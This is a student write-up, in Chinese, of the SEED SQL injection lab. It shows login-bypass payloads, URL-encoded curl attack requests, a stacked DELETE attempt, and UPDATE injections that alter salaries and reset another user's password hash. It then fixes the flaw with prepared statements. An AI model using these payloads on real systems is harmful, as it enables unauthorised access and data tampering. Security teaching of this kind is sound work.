【软件安全】实验3 SQL 注入攻击实验
目录- 【软件安全】实验3 SQL 注入攻击实验
环境设置
修改映射
将以下条目添加到 etc/hosts
目录下,其中 www.seed-server.com
是Web程序的域名,10.9.0.5
是容器的IP
10.9.0.5 www.seed-server.com
构建并启动docker
- 在
Labsetup
下使用命令docker-compose build
构建docker
- 使用命令
docker-compose up
拉起容器,容器中的/var/lib/mysql
挂载在Labsetup
目录下。
Task 1:熟悉 SQL 语句
进入容器shell并使用mysql客户端与数据库进行交互
docker ps
docksh a3
mysql -u root -pdees
加载数据库并打印数据库中的所有表
- 使用命令
show databases;
查看所有数据库:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sqllab_users |
| sys |
+--------------------+
5 rows in set (0.00 sec)
- 使用命令
use sqllab_users;
加载数据库:
mysql> use sqllab_users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+------------------------+
| Tables_in_sqllab_users |
+------------------------+
| credential |
+------------------------+
1 row in set (0.00 sec)
- 使用命令
show tables;
打印此数据库的所有表:
mysql> show tables;
+------------------------+
| Tables_in_sqllab_users |
+------------------------+
| credential |
+------------------------+
1 row in set (0.00 sec)
使用命令打印员工 Alice 的所有资料信息
- 使用命令
SELECT * from credential;
打印整个表单:
发现Alice
在Name
表项下,ID
为1。
- 使用命令
SELECT * from credential WHERE Name='Alice'
即可打印员工Alice的所有资料:
Task 2:基于 SELECT 语句的 SQL 注入攻击
登录界面
使用浏览器访问 www.seed-server.com 进入登录界面,如下:
使用命令sudo docker cp ec:/var/www/SQL_Injection/unsafe_home.php .
可以将登录界面前端代码从docker中拷贝到外部
登录界面逻辑
$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);
-
$input_uname
:用户输入的用户名 -
$input_pwd
:用户输入的密码 -
$hashed_pwd
: 密码的哈希值
// create a connection
$conn = getDB();
// Sql query to authenticate the user
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
if (!$result = $conn->query($sql)) {
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
die('There was an error running the query [' . $conn->error . ']\n');
echo "</div>";
}
这段代码使用了sql语句查询表中是否有用户名为$input_uname
且密码哈希值为$hashed_pwd
的表项,如果有则登录成功。
Task 2.1:基于网页的 SQL 注入攻击
你的任务是以管理员的身份从登录页面登录到 Web 应用程序,这样 你就可以查看所有员工的信息。管理员的用户名是 admin,口令未知。请在用户名与口令输入框中输入 能成功完成攻击的内容。
1. 利用 OR
我们可以构造 admin' OR '1=1
作为我们的登录用户名,这样Sql查询语句就变成了:
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= 'admin' OR '1'='1' and Password='$hashed_pwd'
在Sql查询中,只要OR
的前半部分为真,整个查询就为真,name='admin'
为真,于是会直接跳过密码哈希值的判断部分,进而登录成功。
2. 利用注释
我们可以构造 admin' --
或admin' #
作为用户名,这样后面的语句就会被注释掉:
WHERE name= 'admin' -- and Password='$hashed_pwd'
WHERE name= 'admin' #and Password='$hashed_pwd'
这样也会跳过密码哈希值的判断。
Task 2.2:基于命令行的 SQL 注入攻击
在不使用网页的情况下完成 Task 2.1 的目标。你可以使用命令行 工具,如 curl,它可以发送 HTTP 请求。如需在 HTTP 请求中包含多个参数,需要把 URL 和参数用一对 单引号括起来。否则,用于分隔参数的特殊字符 (如 &) 会被 shell 曲解,造成命令歧义。
将 Task 2.1 的命令中的 #,空格,',进行 URL 编码
# | space | ' |
---|---|---|
%23 | %20 | %27 |
curl 'www.seed-server.com/unsafe_home.php?username=admin%27%20OR%20%271=1&Password='
curl 'www.seed-server.com/unsafe_home.php?username=admin%27%23&Password='
curl 'www.seed-server.com/unsafe_home.php?username=admin%27%20--%20&Password='
以上三条命令执行后都能登录成功并且回显出表单内容
Task 2.3:增加一条新的 SQL 语句
admin'; DELETE FROM credential WHERE name='admin';#
尝试执行第二条 SQL 语句 DELETE FROM credential WHERE name='admin';
删除 admin 表项,但是注入失败:
原因:
查阅 SEED BOOK 后发现和 PHP 中 mysqli 拓展的 query()
函数有关,query()
不允许在数据库服务器中运行多条语句,这是为了防止恶意用户通过 SQL 注入攻击执行额外的恶意 SQL 操作。即使攻击者在注入的输入中添加了分号,数据库也不会执行多条sql语句,会直接抛出错误。
Task 3:基于 UPDATE 语句的 SQL 注入攻击
当员工通过编辑界面编辑他们的信息时,是通过如下的SQL语句更新表单内容的,在 unsafe_edit_backend.php
文件中实现的 PHP 代码用于更新员工的个人信息:
$conn = getDB();
// Don't do this, this is not safe against SQL injection attack
$sql="";
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
}else{
// if passowrd field is empty.
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
}
$conn->query($sql);
可以发现代码是通过执行一个sql语句进行表单的更新:
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;
Task 3.1:修改自己的工资
编辑页面中只能修改员工的昵称、电子邮件、地址、电话号码和口令,而不能用于修改工资。假设你 (Alice) 由于老板 Boby 今年未给你加薪而感到不满。你想利用存在于编辑页面的 SQL 注入漏洞来增加自己的工资。请展示你是如何实现这一目标的。已知列 salary 用于存储工资数额。
由于 PhoneNumber
是修改的最后一项,于是我们可以在 PhoneNumber
这里注入:
填入 ',salary=99999 WHERE name='Alice' #
,相当于执行了:
UPDATE credential SET nickname='',email='',address='',Password='$hashed_pwd',PhoneNumber='',salary=99999 where name='Alice' #' where ID=$id; ;
这会把 Alice 的 Salary 表项改成 99999:
Task 3.2:修改他人的工资
在提高自己的工资数额后,你决定惩罚你的老板 Boby,将他的工资减少到 1 美元。请展示你是如何实现这一目标的。
在 PhoneNumber
项填入 ',salary=1 WHERE name='Boby' #
,相当于执行了:
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='',salary=1 WHERE name='Boby' #' where ID=$id;
这会将 Boby 的工资表项更新成 1
Task 3.3:修改他人的口令
修改完 Boby 的工资后,你仍心有不甘,所以你想修改 Boby 的口令,这样你就可以登录他的账户,做进一步的破坏。
由于 Password 在数据库中是以 SHA1 哈希后的哈希值存储的,如果我想把 Boby 的 Password 改为88888888,我就要将数据库中 Boby 对应的 Password 改为 SHA1(88888888)
。
通过 CyberChef 计算出哈希后的值:
在 PhoneNumber
项填入 ',Password='05b530ad0fb56286fe051d5f8be5b8453f1cd93f' WHERE name='Boby' #
,这会修改 Boby 的数据库中的 Password 值:
现在我们再尝试使用密码 88888888 登录,发现登录成功:
Task 4:对策:语句预处理
请使用语句预处理机制来修复 SQL 注入漏洞。为了简单起见,我们在文件夹 defense 内创建了一 个简化程序,你需要对这个文件夹中的文件进行修改。
修改代码
修改 www
容器中的 /var/www/SQL_Injection/defense/
文件夹下的 unsafe.php
文件,修改后的文件如下所示:
<?php
// Function to create a sql connection.
function getDB() {
$dbhost="10.9.0.6";
$dbuser="seed";
$dbpass="dees";
$dbname="sqllab_users";
// Create a DB connection
$conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error . "\n");
}
return $conn;
}
$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);
// create a connection
$conn = getDB();
// Use prepared statements to prevent SQL injection
$stmt = $conn->prepare("SELECT id, name, eid, salary, ssn FROM credential WHERE name = ? AND Password = ?");
if ($stmt) {
// Bind parameters (s - string, i - int, d - double, b - blob)
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
// Execute the statement
$stmt->execute();
// Get the result
$result = $stmt->get_result();
if ($result->num_rows > 0) {
// only take the first row
$firstrow = $result->fetch_assoc();
$id = $firstrow["id"];
$name = $firstrow["name"];
$eid = $firstrow["eid"];
$salary = $firstrow["salary"];
$ssn = $firstrow["ssn"];
}
// Close the statement
$stmt->close();
}
// close the sql connection
$conn->close();
?>
- 使用准备好的语句(Prepared Statements):通过
$conn->prepare()
函数创建查询,并使用?
占位符来防止直接插入用户输入内容。 - 绑定参数:使用
$stmt->bind_param()
函数,将用户输入的参数绑定到准备好的语句中。这种做法确保了SQL查询不会直接拼接用户输入,从而避免SQL注入风险。其中"ss"
表示$input_uname
和$hashed_pwd
都是字符串类型。
测试
访问 http://www.seed-server.com/defense 再使用 Alice' #
对 USERNAME 进行 SQL 注入测试:
发现已经无法查询到 Alice 的信息了。
思考题
为了防止 C 程序在调用外部程序时出现代码注入攻击,我们不应该使用 system(),而应使用 execve()。请描述这种防御措施与防御 SQL 注入攻击的预处理语句之间的相似性。
1. system() vs execve() 防御代码注入
- 在 C 语言中使用
system()
调用外部程序时,用户输入直接作为 shell 命令的一部分,如果用户输入中包含特殊字符或命令,就可能导致代码注入攻击。 - 而
execve()
是更安全的选择,因为它直接调用外部程序,而不使用 shell。这意味着它不会将输入当作 shell 命令进行解析,避免了恶意输入的执行。
2. SQL 预处理语句防御 SQL 注入
- 在 SQL 查询中,如果直接将用户输入插入到查询字符串中,恶意用户可以利用输入中的特殊字符来构造有害的 SQL 语句,导致 SQL 注入攻击。
- 使用 SQL 预处理语句可以防止这种情况发生。预处理语句将查询结构与参数分开,参数通过安全绑定方式插入,不会被当作 SQL 代码解析,避免了攻击。
两者的相似性
- 两者都采用了分离用户输入和实际代码执行的方式,从而防止了恶意代码注入。
execve()
通过直接调用程序避免了 shell 的解析,而预处理语句通过绑定参数避免了 SQL 解析。- 在本质上,这些防御措施都是为了避免将用户输入直接传递给解释器或执行环境,从而避免潜在的注入攻击。